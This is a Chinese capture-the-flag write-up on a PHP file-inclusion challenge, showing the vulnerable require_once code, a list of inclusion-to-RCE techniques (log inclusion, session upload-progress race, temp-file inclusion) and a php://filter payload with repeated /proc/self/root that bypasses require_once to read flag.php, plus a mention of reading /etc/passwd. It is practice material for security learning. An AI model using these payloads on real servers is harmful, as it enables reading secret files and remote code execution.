BUUCTF:WMCTF2020]Make PHP Great Again --文件包含 --- require_once php7.4 的trick

一、自己做:

代码简单,


highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
     
  require_once $_GET['file'];
}

用filter读取,能够读取到file=../../../../../etc/passwd。用上filter等等,就是读取不到flag.php。

然后我就想到了之前的 文件包含漏洞的。那个上传一个文件,然后包含自己,使得PHP程序运行不完,然后临时文件就不会被销毁,然后就可以包含临时文件getshell了。
但是这里是require_once。只是一次。就作罢了。

二、 学到的。不足:

  1. 那个 SESSION_UPLOAD_PROGRESS也是可以进行文件包含的了。我当时总结的时候就没有成功,这里再试一次。这个看WP之后尝试成功了。

  2. 看到文件包含还是不敏感

  • 最基础的,读取敏感文件, filter去读,都可
  • 包含日志,这个最简单的
  • 再就是这个用PHP_SESSION_IPLOAD_PROGRESS进行条件竞争,包含文件,实现RCE。
  • PHP临时文件的销毁机制,自己包含自己。然后上传一个马儿,当作临时文件,然后包含之,

三、学习WP:

用 PHP_SESSION_UPLOAD_PROGRESS,文件包含

就是常规的那个文件包含,
再看 session.upload_progress。。文件包含,, +++ 临时文件包含, ++++ PHP7 的 segment fault。就行

php7.4的小trick。。equire_once 绕过不能重复包含文件的限制

详细解释看这里吧:https://www.anquanke.com/post/id/213235

直接给了payload的。

php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

你可能感兴趣的:(BUUCTF刷题记录,文件包含,php,linux)